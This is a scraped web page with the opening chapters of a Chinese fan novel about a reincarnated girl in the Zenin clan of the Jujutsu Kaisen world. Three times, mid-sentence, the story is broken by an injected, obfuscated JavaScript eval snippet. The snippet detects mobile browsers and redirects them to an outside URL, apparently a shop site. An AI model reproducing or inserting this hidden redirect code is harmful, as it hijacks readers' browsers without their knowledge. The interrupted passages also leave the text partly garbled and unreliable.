《转生到禅院家实在是太好了》 1. 渺小的岛屿(一) 狂风呼啸,房屋像是即将倒塌般发出嘎吱的声响。早已习惯无视周遭一切的路长知时不时翻动书页,不为天气担忧,不为即将诞下第九个孩子的母亲担忧。毕竟她的忧虑毫无意义,对现实产生不了一点影响。 五年前,意识到母亲只是看到她的身影便会感到厌烦,路长知便不再主动出现。 至于父亲和兄长们,他们本就不会朝她投去视线。她在这个家庭中是不存在的。 不过,依照年迈仆人的说法,第一个孩子诞生时,父亲会在门外等待,焦灼的情绪不需要言语也可以传达。 但是第一个孩子的天资不尽如人意,又很快去世。 早早明白自己一无是处,一生都在期盼通过孩子获取权力,结果开头就迎来失败,且同时失去了第一个骨肉,两种痛苦交织在一起,让父亲分不清此刻哪一边更重一些。 从那时起,日趋平常的冷漠与始终压抑的悲伤便一直这个家庭中徘徊。 第二个孩子同样天资平平,好在活了下来。不过父亲不再出现在门外,不再为母亲的痛苦产生情感波动。随后一个接一个,有好有坏,直到路长知诞生。 意识到这个家里从此有了一个女人,父亲有些被吓到了。那是他生命中很少会出现的存在。而母亲,无论是他的母亲还是妻子,母亲只是母亲,是生育的工具,是子宫的外置产物。 而路长知,那是生命,是同一物种。 本以为漠视会使她失去生命,像她那两个没有天赋的兄长,可她就是不死。 真要杀她反倒显得她有多么重要。 望着学习他一言一行的孩子们的面容,难得有些情绪波动的父亲给出樱咲这个名字后,收回所有对路长知的关注。孩子们有样学样。 时至今日,路长知诞生在这个世界的第七年,在狂风骤雨中,母亲的生命和她的最后一个孩子一同彻底消失在这个世界上。 在生命消亡的同时,从不知道究竟源于谁的诅咒中诞生的咒灵开始摧毁周遭的一切。 可惜,无论这里再怎么偏僻,也都是禅院本家。咒灵诞生没多久就被祓除,死去的除了一个兄长,就是不被在意的仆人们。 感知到咒灵,路长知久违地离开属于她的院子。 悄无声息地抵达母亲的院落,站在阴影中,路长知望着父亲,想知道这次失去和以往那些对于他来说有没有什么不同。结果是没有。包括那个几乎陪伴了他一生的年迈仆人的逝去,什么都无法触动他的心。 只有从诞生以来一直待在母亲身边的年幼的弟弟感到悲伤与惶恐,他对这个世界没有完备的认知,害怕失去,也害怕死亡。但是没有人哄他,会低声安慰他的人已经死了。他早晚会意识到这一点。 将目光转向母亲的房间,路长知望着,思考着,不由得产生疑问。那最后一个与她血脉相连的,是妹妹,还是弟弟,天资平平,还是天赋异禀。母亲在生命终结的那个刹那,是否完成了她的夙愿呢? 好奇是一瞬间的事情,眼看着没有人想起她的存在,也没有人发现她在这里,路长知转身离开。 她回到自己的房间,将手中书的结尾看完,拿起一本新书。 加上写读书笔记,看完一本书通常需要两天,其余时间都用来锻炼身体和练习术式。 第二天一早,刚吃完早饭,还没有放下筷子,便传来一阵由远及近的脚步声。 “没有人通知你?”来人在门口停下,眉头微皱。 他是路长知的第三个哥哥,禅院敏乙,目前为止家中最有天赋的那一个。 虽然远远达不到继承家族的地步,但是掌管一下这个破败的家庭还是绰绰有余的。 可能正是因为有这份责任在,对方时不时会来看一下路长知死了没有。 “什么?”路长知喝一口清茶,感受完淡淡的苦涩与回甘,抬眸看向站在门口的人。 敏乙有一头及肩短发,发色漆黑浓郁,眼睛因背光而看不清颜色,在记忆里像是浅淡的琉璃。 “你昨天去了。”意思是别装傻。 路长知投去疑惑的目光。她昨天去了和今天没有人来通知一些她本该知道的事情之间并不矛盾。 “……你不知道?”敏乙不太确定地问。 “什么?”路长知询问的语气没有变。她昨天离开之后,似乎发生了一些别的事情。 “敏一觉醒了强化身体的术式,”他说话时盯着路长知的眼睛,想从中看出些他也不知道自己在试图找寻的什么情绪,“以后你负责照顾他。” “因为我是女性?”路长知遵循刻板印象询问。 “因为你咒力低下。”敏乙几乎是低吼着反驳路长知的话。 他总是不愿意承认自己生活在什么样的垃圾堆中,对有相关暗示的话语也格外在意。 年少时他心怀怨怼,不满于现状,最终离家出走。但是出走两天后,带着满身血迹与满心惊恐回家时,曾落在父亲身上几近怨恨的目光便再也没有出现过。 发生在他身上的事情并非难以想象,尤其他还顶着禅院这个姓氏出去,恐怕也没怎么改变自己的衣着打扮与行事风格。能活着回来,在某种意义上反倒证明了他的能力。想必从那时起,家里人便隐隐意识到,这里的一切将来都会在他的掌控之下。 而敏一,年纪最小的弟弟,他的咒力一直不怎么稳定。即便知道他将来一定会觉醒,众人也没有抱多大期望。但世事难料,偏偏让他碰上母亲和婴儿接连去世,又直面说不好究竟是从哪个家人的尸体上诞生出来的咒灵。 这种情况下觉醒超出预期的能力合情合理,只是不知道那份强大到了什么地步,是可以和敏乙争夺这个家的控制权,还是能够触碰到整个禅院家。 但这都和路长知没有关系,她说:“我不去。” 语气平淡,仿佛在决定今天的早饭,而非拒绝这个家庭的象征。 “你没有选择的权利。”尚未平息的情绪使敏乙的喉肌发紧,出口的声音有些高亢,脸色也更差了。 “无论我再怎么弱小,也还是有能够决定一个人生死的能力的。”这是明晃晃的威胁。 如路长知所言,哪怕她没有咒力,也有杀死敏一的可能性。如果他们罔顾她的意愿,强行将她送到敏一的身边,最好真的做好失去一切的准备。 闻言,敏乙略显惊讶地望着路长知,好像第一次看见她,第一次意识到她是一个有自我意识的人类。 “父亲会不高兴的。”敏乙突然平静下来。 “无所谓。”即便他们将她视作珍宝,路长知的回答也不会发生改变。 “你确定?”敏乙有些无法理解。 将路长知养到这么大的年纪,这是家人第一次向她提出要求,拒绝是不让人满意的答案 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495652|202487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但是路长知看起来真的对一切都毫不在意。 敏乙当然无法理解,他不知道在学习语言时,禅院和咒术这两个词同时出现的瞬间,路长知刚明白过来自己身处何地,离开的决定便已经做好了。 禅院家不会有让路长知安心地捧着书过一辈子的可能。 从路长知的视角来看,这次失败是可以预见的。她对此接受良好,没有继续交谈的打算,于是收回视线,唤来仆人收拾餐具。 敏乙却不能接受这样的忽视。即便他和他的家人一直都是这样对待路长知的。 这正说明他的渺小与自卑。而他无法正确认识到这一点,只能通过武力,通过愤怒,一定要从她脸上看到恐惧才肯罢休。 突然落下的攻击被水流轻柔地挡开,敏乙这才知道路长知已经拥有了术式。 是因为早早觉醒了术式才这么有恃无恐吗? 敏乙觉得自己好像有点明白路长知的想法了。 又一道攻击落下,书桌被掀飞砸到墙上。 仆人对此见怪不怪,没有任何犹豫便转身跑走。事后被抓到会受罚,但是留在这里,直接死掉的可能性更大一些。 水流一边挡住飞向仆人后脑的碎片,一边将所有书籍运出房间。同时,路长知起身轻轻一跳,恰好落在攻击范围的边缘。 瞥一眼离开的仆人,再看一眼书堆。意识到对方在意什么,自己又没有办法在短时间内突破防御,接下来该做什么就非常清晰明了。 敏乙将断掉的桌腿踢向路长知,本人则在水流运转时朝书堆奔去。 流水化作两个球,将桌腿和敏乙分别困住。 路长知在术式方面的使用比敏乙想象中更好一些。毕竟从头到尾都是她一个人在摸索着前进。 说不定她是这个家里最有天赋的也不一定。 这个念头刚冒出来,愤怒便如影随形。不是针对路长知,而是针对他自己。 那样的想法使得他们至今为止的一切努力都像是一个笑话。 咬紧后槽牙,脖颈青筋不停跳动,明明一切想法都发生在他的脑海里,愤怒带来的不可控却直直朝向一无所知的路长知。 当敏乙决定使用术式,两人间的争斗便注定会惊动一些人,但是消息被父亲按下,也就没有人知道详情。 最终的结果是年仅三岁的敏一直接去了家族学堂。即便身边跟着一堆仆人,他也一直是一个人。而不是像众人以为的那样,得到来自母亲替代品的安慰。 作为反抗的代价,路长知被关了禁闭。 狭窄的房间里可以打太极和八段锦,漆黑的环境也很难说得上是惩罚。路长知的脑海里有丰富的存书,这样安静的环境更适合进行深度思考。无法感知时间在目前来看也不是很严重的事情,因为路长知心里清楚,他们不会一直这样关着她。 由于对咒术没有足够清晰的认知,发现自己那点咒力居然能够在没有经过专门训练的情况下和敏乙打得有来有回,路长知立刻反应过来,她在咒术这方面可以说是天赋异禀。 一个需要依靠三岁小孩来完成家族振新的家庭,是不会有忽视她的魄力的。 说不好具体是第几天,门被打开,光线从外部透进来,雨声哗哗。 一道人影站在门口。眯着眼睛适应一会儿光线,路长知从床上坐起来。 “我饿了。”她说。 2. 渺小的岛屿(二) “你为什么不愿意来照顾我?”敏一不知道从哪里听来了当初的事件,于两个月后的一个晴天冲进她的房间,紧张又愤怒地质问她。 路长知没有回答,直接用流水将人扔出去。 一次两次之后,即便一开始是因为有人挑拨加小孩子不服气,觉得姐姐应该像母亲一样照顾他,后来也逐渐演变成想要从路长知那里获取爱与安全感。 每次动手,路长知的分寸都把握得很好。某种程度上,也可以称为是在进行特训。 “你为什么不愿意来照顾我呢?”敏一又问。 这一次他不再愤怒,没有太大的情绪波动,只是执着地望着路长知。他真的需要一个答案,是讨厌他,讨厌禅院家,还是别的什么。 答案可能什么都改变不了,但是敏一需要那个答案。 “我为什么要照顾你?”路长知翻动书页。 和以往每一次一样,路长知在回答问题的时候没有一次是抬头看着他的。他永远没有她手中的书重要。这时他突然明白过来,为什么敏乙哥永远会在听到路长知在看书时露出扭曲的表情。他现在也想那样做了。 明明是一家人,为什么路长知不愿意看他们呢? 书有什么好看的? 还是说,看了书,她就会将目光投向他呢? 不会的,敏一心里很清楚,因为敏乙早就尝试过。 他只是在走老路,不愿意服输,觉得自己在路长知心中也许是特殊的,毕竟他是最年幼的孩子。 而和母亲一同死去的那个孩子,她早就从每个人心中消失了。 在学堂,他们总说这个家将来不是敏乙的,就是敏一的,可是路长知才是和父亲最像的那一个。 但是从来没有人把路长知列入继承名单。 即便他们心里清楚,路长知才是这个家里最有天赋和未来的。 是的,将来路长知会嫁人,可是她只会嫁给禅院,那为什么不能是路长知同时继承两个家庭呢? 由于每天都来找路长知打架,敏一是禅院家中最清楚路长知究竟有多么强大的人。但是这些话一个字也不可以和任何人讲,那会给路长知带去无穷无尽的麻烦。 路长知只要维持在人们心中现有的印象,有天赋,但是咒力不足,可惜,又足够可控。 也许能成为禅院家下一任家主的妻子也不好说。 敏一一边赞同,一边怨恨。赞同那一定会成为事实的现实,怨恨路长知不够强大,不可能成为禅院家主,不能使家庭走向光辉未来。 虽然心里清楚,他自己没有那个天分,也没有怨恨的理由,但是敏一不甘心,也极度讨厌路长知总是一副云淡风轻的模样。 倘若他有路长知那样的天赋。 “为什么不呢?”敏一低声呢喃。 为什么不愿意照顾他,为什么他不能有她那样的天赋? 明明她不想要。既然她不想要。她不想要,那给他也没关系吧,反正是一家人,一家人就该彼此扶持。诸如此类的想法一个接一个地冒出来,一点点扎进敏一幼小的身躯中。 又一阵流水将人扔出去。门关上,敏一没再尝试闯进去。 不需要抬头,路长知也能感受到从敏一身上传出的恶念。 她知道他快要忍不住了。无论他想做什么,其中当然有她特意引导的缘由,只是她还没有下定决心。生活在咒术的世界里,她时不时会想起七海建人,而一想到他,就想起那熟悉又陌生的声音,于是脑子里的世界跟着回到小时候。 转生以来,路长知很少会回忆起过去。 但在她的思维还未成型,还在探索,还不清楚自己想要什么的时候,她非常喜欢周防尊这个人。喜欢到很长一段时间里,会避开有相同声优的作品。 那样的时光没有持续很久,只是她后来就不再看跟K有关的作品了。包括各类同人。那是一种非常明显的逃避行为,但路长知不准备改。 不过没有下定决心让敏一沿着一条死路走到头和那没有关系,全是因为七海建人的观念和上辈子接受的教育在影响着她。 从实际情况来讲,她始终是那个已经成年的自己。无论她想怎么使自己崭露头角或者离开禅院家,都不应该从利用一个孩子开始。那个孩子的善恶并不重要,她现在不是生活在你死我活的环境之中,没必要走到那一步,将来也会没理由解释。 路长知没有很重的道德枷锁,她现在的犹豫完全是在为将来考虑。她有无数种方法改变既定的未来,难题在于选择哪一种。 杀戮、利用、欺诈、背叛,这是一条非常方便的路,可以在短时间内解决大量问题。但那不是她想要的。而伟光正,她同样没有耐心。 随心所欲是最简单的方法,可是在这样的世界中,她实在没有可以用那点能力保护好自己的信心。 像上辈子那样乖巧顺从也不现实,禅院家的生存环境很糟。如果她一开始就生活在这里,那她不会在意,可是她曾非常自由地活过,就不可能不介意。她可以做金丝雀,却不能当笼中鸟。 唉。叹口气,合上书页,路长知起身往敏一的院子走去。 为了将来能够面对面地和七海建人交流,现在就稍微控制一下心中的想法,姑且把小孩往更符合世俗的好的一方引导吧。 两人住得不远,慢慢往前走着,路长知虽然没有特意控制脚步声,但是也没有敲门。 沉浸在自己世界中的敏一受惊后猛地把手里的纸张捏成一团,无论来人是谁,他都害怕对方发现他的秘密。 惊恐后的愤怒还没来得及攀升,一张出乎意料的脸出现在房间里。 “你——”他张着嘴,言语被掐断在喉咙里。 “想要我的照顾?”她问。 敏一有些反应不过来,他还沉浸在刚才的幻想之中,在两难的抉择中摇摆,现在突然来了曾经幻想又超出预期的第三条路。 “先从停止索求和哭闹开始吧,小鬼。”路长知第一次朝敏一露出笑容,坏心眼地泼他一脸水后带着爽朗的笑容离开。 慢慢用力睁大眼睛,敏一不觉得路长知的行为是一种冒犯。他无法和任何人讲述心中升腾的喜悦之情,只能一直低头盯着地上留下的水。只是在旁人眼中,起伏不定的胸膛与几近扭曲的表情都意味着愤怒。 为了避免路长知和敏乙之间的争斗再次发生,父亲警告过仆人们。房间里发生的事情,没多久就传进父亲耳中。书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495653|202487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房里,父亲放下手中的卷轴,方才还在犹豫的事情此刻有了决断。 不等敏一转天收拾好情绪去找路长知,她就被送走了。送去进行新娘培训。 敏一去询问父亲,敏乙也在。他们不能接受这样的结果。路长知的天赋异禀,她有另一条路可以走。而且敏一还在成长期,他的未来不需要依靠路长知的牺牲。 “她一句话,一个行为,就可以把你们耍得团团转,”父亲近乎冷漠地给出评价,“你们太在意她了。” 可她是亲人,是妹妹,是姐姐,是血亲。 啊,不是的。敏乙恍然大悟,在父亲眼中,她从来不是这个家的一部分。而且,是又如何呢,父亲也不在意他们的想法。父亲只想要这个家能够更上一层楼,至于谁来当牺牲品,都是可以的。包括他自己。 就像母亲。她不停地生下孩子,不停地接受死亡,不停地承受失败。下一个,永远有下一个。如果母亲还活着,她也不会满足于敏一的天赋,她还是会继续生。永不停歇,无休无止。 真可怕啊。敏乙转身离开,不再对向父亲祈求这件事怀有一丝期望。他一直都清楚父亲是什么样的人,也知道自己早晚会成为那样的人,并且确实在朝着那方面努力。可是,他现在颤抖的身躯是因为感受到了恐惧。 不知道从什么时候开始,敏乙不知不觉地总是在想,妹妹在做什么,在看什么,怎么能够一直捧着书看,不会无聊吗,没有感兴趣的东西吗,为什么不出来走走,为什么不主动找他们,为什么不在意他们? 想不起来。 只是回过神的时候,已经走到路长知的院子里。 他隔着门扉看她。她的眼神专注,好像她真的喜爱看书,而不是为了从现实中逃离。也许确实不是。 而那不过是他十几年人生中微不足道的几个瞬间。现在,从父亲身边离开的敏乙不知道可以去哪里,他看不到前路,他茫然地在熟悉的地方行走,只是走,好像走进陌生的丛林。每一片叶子都长出一张脸,每一个曾死在禅院家的人都露出狰狞的面孔,她们冲向他,撕扯他,剖开他。他痛不欲生。 “敏乙?” 谁,谁在喊他? 妈妈,是你吗? 敏乙从意图把自己藏起来的双臂中向外看,在脑袋向前的瞬间,脚突然不再是身体的一部分,有自己的意志,想要离开。可是去哪里呢,可以去哪里呢?脚向上飞,身体向下坠,头重重地砸在草地上。去哪里呢? 世界陷入一片黑暗。 事后兄弟们询问发生了什么,问他怎么一个人昏倒在树林里,敏乙想了想,露出平静的笑容,说:“睡过头了。” 望着那个笑容,望着敏乙周身萦绕的平静,他们陷入沉默,周遭安静下来。 从那天开始,笑容便一直挂在他的脸上,成为烙印,成为他不再接纳任何人的证明。 “你和姐姐一样,”敏一说,“令人讨厌。” 也叫人无法移开目光,充满吸引力。 “你是怎么变成这样的?”敏一充满好奇。 转念一想,既然他短时间内没有办法接触到路长知,那哥哥也是一样的,尤其是年纪最大的哥哥,最了解姐姐的哥哥。 3. 渺小的岛屿(三) 天还没有亮,路长知便被叫起来。一开始,她以为是昨天的行为冒犯了家主继承人,他们要再带她去禁闭室。毕竟是同一条路。但是走着走着,她头一次踏出大门。 回头望一眼,没有一个人在门口送她离开。也是,这么早的行程,就是为了避开所有人,尤其是不知道为什么非常在意她的那两个兄弟。其中一个正为了要得到她的认可而兴致勃勃。 而父亲甚至没有尝试来一场父女间的对话,看来他很了解她,知道言语说教不会起作用。 如果这次出门是为了直接抛弃她,中间可以动手脚的地方数不胜数。但是禅院家不会。即便他们没有加茂家那么在意血脉的纯粹,也不会轻易放走一个有着不错天赋与血脉的女性。 “樱咲小姐。”领路人察觉到路长知停下脚步,便跟着停下,她侧身,低头,声音轻柔地呼喊她。 很谦卑的行为。但是她没有完全转过身,没有走到她身边,而是等着她走向她。 路长知不在意这些,她望向她。领路人有着精致的容颜,咒力不低,流淌在她身体里的律动十分平静。 打不过。得出结论后,路长知走向她。她们四目相对,擦肩而过。 有点意思,又有点无聊。 走了许久,久到路长知开始怀念公共交通,两人终于抵达目的地。顺利把人送到之后,领路人离开,但没有离太远。 “樱咲小姐。”又一个人这样喊她。 路长知不是很习惯这个名字,在家里,他们不太经常地喊她六小姐。 得知这里是个类似下一任家主妻子候选人训练营的存在后,路长知扬起唇角。没法反驳,这是家里真有皇位要继承。也没法离开,因为她打不赢,也碰不到权力中心。 对于每日课程,路长知没什么不满的。禅院家要的不是没有咒术和咒力的花瓶,虽然没有什么特别重要的内容,但是能学一点算一点。怀着这样的心情,路长知展示出孜孜不倦的态度。 虽然大家都是在竞争同一个岗位,但是选拔结束之后,她们又不会直接且彻底地消失在彼此的生命中。 所以,可以搞小动作,可以把事情闹大,但是不能真下死手。 和要多少有多少的男人不同,有能力的女人对于任何家族来说都是稀缺资源。 望着真心实意警惕着她的女孩们,在真的踏入这个房间之前,路长知平静的心起了一丝波澜。 她们没有做什么,只是看着她,但是她不能接受这样的现实。 虽然看过更惨烈的画面,但是她毕竟一直以来都生活在一个十分平和的环境之中。而二次元中描绘的世界,和真实地摆在眼前的东西是不一样的。 路长知不想看到周防尊,就可以永远不要看到,但是当她想让眼前这副景象消失,她就得像活在现实里一样,真的做些什么。 “樱咲小姐。”似乎是察觉到气氛突然紧绷起来,领路人不着痕迹地来到她身边,身体紧绷着。 她被喊来就是为了防止路长知有反抗的念头。 她知道路长知在家里的一切行为,知道她甚至没怎么行动,没有说几句话,却轻易挑动了两位少爷的心弦,让他们重视她的言行,重视她沉默背后的含义,从而改变他们自身。 多么可怕的天赋。 如果能够为禅院家所用,那么将来无论将她嫁给谁,那个家族都会成为禅院的一部分。 只要他们能够训练她,磨平她的棱角。 计划很简单。 首先,将她扔进人群。总有那么一两个人能够触碰她的灵魂,就像她最终还是妥协,开始主动接近敏一。 其次,抓住她的把柄。不需要多聪明计谋,人就是会为情感而妥协的生物。尤其对方的处境与遭遇和自己是如此相似,而自己偏偏有能够解放对方的能力。 至于代价,嫁出去是她注定要做的事情。既然是迟早要做的事情,就等于没有代价。多划算的一件事啊。 最后,还是要让她体会疼痛,体会失去,让她长久地感受痛苦,沉浸在恐惧之中,便不会有反抗的想法与能力。 确实是简单又粗糙的谋划,但是足够有用且好用。 “你叫什么?”路长知的手指轻轻搭在门框上。 她没有回头,视线也没有落在某个具体的人身上。 但是所有人都知道,她在和领路人说话。 流水如浮云,缓慢游动着,悄无声息,时不时落下一两滴水珠,还未及落至地面,便在半路消失不见。 “美枝。”领路人几乎没有停顿地选择了回答。 “美枝。”路长知重复一遍,但是没有后半句。她只是在叫她的名字,如她们不停地喊她的名字。像一种隐秘的报复。 美枝的武力值在路长知之上,但是现在这种情况,所有人都能意识到路长知和美枝之间似乎有些矛盾。她们中的一些人认识美枝,知道她会出现在什么样的场合中,也见过反抗者的下场。 虽然名义上美枝要听从她们的吩咐,但是从来没有人真的使唤美枝,更不用说来这边的第一天就和她起冲突。可路长知不仅展现出敌意,还使用了和赤血操术类似的具有强攻击性的咒术。 流水漂浮在空中,看起来十分无害,但是足够令人不安。 这时,只需要一个轻微的响动,便可以点燃在场的每一个人。 攻击连接着反击。究竟谁先动了手,谁在尝试伤害谁。当场景足够混乱,每个人都可以达成自己的目的。 而路长知还不认识这里的任何一个人,她们不够熟悉,所以不能说是有预谋。 可就是流水出现时轻微晃动的那个瞬间,一些人理解了路长知的行为,诞生了属于自己的想法,并准备采取行动。 她们和美枝一同警惕地观察着路长知的一举一动,只是观察的目的不同。 无论禅院家的生存环境有多么压抑,这样一群正值青春期的孩子,怎么可能没有一点自己的心思,一点不考虑反抗与争斗,一点不想获取更多权力与利益。 甚至有人真的拿起了可以当做武器的笔。钢笔,现代工艺。金属的反光在一瞬间吸引了路长知的注意。她以为禅院家会拒绝一切代表进步的东西。 不过想来也是,他们没办法拒绝使用电。 而一旦有了开口,再意图阻拦其它的,就显得有些懦弱了。 “美枝。”路长知又喊一声。 随着声音响起,手指离开门框,和突然出现不同,流水在消失时是一点点回到路长知身体里的。水流顺着收回的手指、微微敞开的衣领,一点点爬进视线无法抵达的地方。即便是如此缓慢的、近乎展示的方式,仍旧没有人知道那些水究竟来自何处。 理所应当的,美枝在回去汇报后接受了惩罚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495654|202487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。大人们可不相信一个七岁的孩子能够瞒住从小接受咒力训练的美枝。 但是现在,路长知朝美枝伸出手。美枝没有别的选择,在这里没有。她走到路长知身边,轻轻握住对方的手。 两双相似又截然不同的手交握在一起,好像来自同一个人。 “你要告诉敏一,”路长知说,“他得不到答案了。” 路长知看着美枝的表情既哀伤又真切,在大庭广众之下,她这样问:“你愿意为我这样做吗?” 她们刚刚看起来真的像是要打起来了,怎么也要弄得其中一个人伤得足够惨才行,但是转瞬间,不知道怎么回事,一切又发生了巨大的变化。 有人轻啧了一声,明白过来无论是美枝,还是她们,双方都是路长知计划的一环。 只是为了给家里人传句话,非要弄出这么大的动静,在还不知道这里的限制的时候……聪明的做法。 嫌弃与烦恼的目光转为欣赏与喜悦。 无论是真的把成为某人的妻子这件事当做是一生所求的那些人,还是另外一部分人,路长知的到来都是命中注定的意料之外。 “当然——”美枝没有别的选择,她当然只能同意,而路长知不需要她把话说完。 “谢谢你,美枝,”路长知露出看起来就十分乖顺的笑容,朝美枝走一步,使两人之间的距离几近为零,“樱咲,叫我樱咲就好。” 那声音听起来很低,像是只属于两人的低语,偏偏所有人都可以听到。 一些人的情绪果然被挑动,不满的目光同时对准两人,好像真有人会在大庭广众之下搞这一出以彰显双方的情谊。 “这不公平。”有人小声说。即便不是所有人都赞同这句话,路长知和美枝也给人留下了这样的印象。流言蜚语将如阵风下的蒲公英一样飞往各处,甚至翻越禅院家的围墙。 这才是美枝受罚的真正原因,被一个孩子耍得团团转。 但是那没有意义,路长知的目的不是让美枝受罚,而是真的如表面那样,为了让她转达一些话,一些她本来放弃了的引导。 她要把场面弄得足够大,才能确保她的话语被一字不差地传达出去。因为他们知道,如果不这样做,会有更大的事情在等待。 确实不公平,她年长许多,接受的是不同且完备的教育。 收回手,路长知看一眼落在树上的鸟,听着鸟鸣,她突然想到了接下来该往哪方面创造术式的使用方法。 流水参与了整个世界的循环,她怎么能不像蒸腾一样飞往高空呢? 转身,朝未来的同学们露出笑容,路长知有一点点开心,她没有在女校待过,她真心实意地期待着未来。 “如果你们愿意称呼我为禅院樱咲,也可以叫我SaSa。我会更乐意听到后一个名字,那很可爱。希望接下来的这段时间里,我们可以好好相处。” 这是路长知第一次在禅院家向人介绍自己。她不知道她的话语是否符合一般礼仪,甚至无法确定自己的话语里没有用词和语法错误。但是那又有什么关系呢,她年纪还小,可以用来纠错的时间要多少有多少。 路长知不会在这方面苛求自己,毕竟日语不是她的母语。即便从头学了一遍,她脑海里印象最深的,在心里自言自语时诉说的,还是来自另一个国家的语言。 那是另一种思维,另一种可能性。 4. 渺小的岛屿(四) 秋色渐浓,烂红枯黄的树叶片片落下。不需要风,不知道什么时候,站在树下,各色树叶便会飘飘悠悠地出现在视野边缘。 “又偷懒。”阳太,在路长知做了那样的自我介绍之后第一个和她搭话的人。 对方刚结束书法课,出来看到路长知站在院子中央,仰着头看落叶随风飘荡,看晴空万里无云。 阳太弯腰捡起一颗碎石,无形的咒力附着在有形的石头上,手腕翻转间,碎石以超出常理的方式离开阳太的手,一路朝着路长知的脑袋飞去。 学习这样使用咒力时,路长知是最快学会的那一个,甚至会传授一些可以迅速掌握能力的小技巧。她来这里才一天,就已经赶上一些人一个月的学习了。 面对这样闪耀着光辉的人,不知道从什么时候开始,不管是做什么训练,只要上场的人是路长知,阳太就没有办法将目光从她身上移开。她总是担忧,总是害怕。这种注视的行为像是会传染。一开始只是阳太,她是个传统意义上的好人,在乎所有人,也永远以最友善的目光看待所有人。 这种对路长知的过分关注发生在阳太身上是不值得在意的。 但是,当阳太目不转睛地盯着路长知时,原本被阳太吸引的人也会将目光转移过去。 一个接着一个。 衣衫下是仿佛永远纤细的肢体,抬起的手十分轻柔,迈出的脚十分轻盈。 而那张脸,日光与月光都照拂着她。即便那不是一张美艳的脸,也总能叫人不自觉看过去,然后沉沦在她深邃的眼眸之中。 笑意在其中流淌,喜悦如蜜糖,混成甘甜的陷阱。 “花枝招展。”有人这样评价。 可是路长知没有做什么特殊的事情,她如深渊,包容、沉默、长久地注视着每一个将目光投向她的人。 人们将目光投向她,又讨厌她看回来的眼神。 路长知扭头,流水自然地拦下本就没有多大力道的碎石。阳太该露出笑容,收回目光,继续做自己的事。但是她没有。她注视着路长知,想要说些什么,例如对方来这里的原因。所有人都知道,如果路长知不愿意,没有人可以逼迫她来。但是她还是来了,带着让人想要探究又感到畏惧的秘密。 她们知道自己不够了解路长知,起码没有美枝了解,所以会放大路长知的每一个行为,使她只是在呼吸也显出别样的意味。 “真不公平。”流水卷着碎石来到路长知面前后消失,细小的石块掉在草地上,没有发出一点声音。 “什么不公平,你已经是这里最悠闲的人了。”阳太慢步走向路长知。她走动时一直观察着路长知,想知道她的靠近是否会引起对方的情绪变化。她也说不好自己想得到什么样的反应。 路长知哼笑一声,没有对这句话做出回应。一些无须讨论的现实。如果路长知不符合要求,禅院家不会给她休息的时间。这只能说明路长知的优秀与努力,虽然其中大半是上辈子的功劳,但是在这个世界中没有人知道这一点,就让她厚着脸皮让人以为她真的是个天才吧。 这些虚名确实能够给人带去愉快的体验。 “什么不公平?”阳太又问。她在意路长知的每一句话和话语背后的含义。大多数时候都没有什么特殊的含义,起码路长知不觉得有,她只是随口胡说罢了,但是阳太和一些人非常在意,在意到有些病态的地步。 这似乎没什么不好。在这种氛围中生活一段时间后,路长知逐渐习惯她们望向她的目光,习惯成为人群的中心,习惯掌控她们前行的道路。即便是那些不喜欢路长知的人,她们也在路长知规划的道路上行走。或早或晚,一切都会如她所愿。 是有些狂妄自大的想法,但是望着她们的眼睛,路长知觉得自己是可以做到的。 她们乐意将她捧上王座。 说来有些害羞,路长知不像她以为得那样不适应处于这样的位置。 那么,最初的想法和现在的想法就发生了冲突。几乎不需要纠结,只是望着这群人,路长知就没有办法选择另外一条路。 即便是完全融入禅院家、没有一丝一毫反抗念头的母亲,路长知也完全遵从对方的意愿。她就是这样一个人,她不愿拒绝来自女性的请求。这不意味着她是女性至上主义者。在绝大多数时刻,她自己才是最重要的。只是,望着那些可能是某种情况下的自己,她就没办法视为不见。这是伪善吗?似乎没那么重要。 “SaSa?”见路长知又陷入自己的思维中,阳太喊一声。 因为没有办法钻进路长知的脑袋里,看究竟是什么吸引了她的全部注意,阳太一直都不喜欢路长知跑神时的样子。 “抱歉,”路长知有注意到这一点,但是跑神出现的时机实在不太可控,“我们说到什么?” “什么都还没开始说,”阳太说,“真是的,我也忘记在问你什么了。算了,你在这里干什么呢?” “要试一下新招式吗?” “……你又研究出来新东西了?”阳太抿唇,说不好是担忧更多,喜悦更多,还是恐惧更多。 “嗯,试试吗?”唯有这种时候,路长知脸上的笑容才带上真诚。 “好啊,试试。”阳太从来不会在这种时候拒绝路长知。一旦拒绝一次,无论出于何种原因,都很难等到第二次机会。这里有这么多人,她们都盯着和路长知互动的机会,又担忧会使她太过劳累。 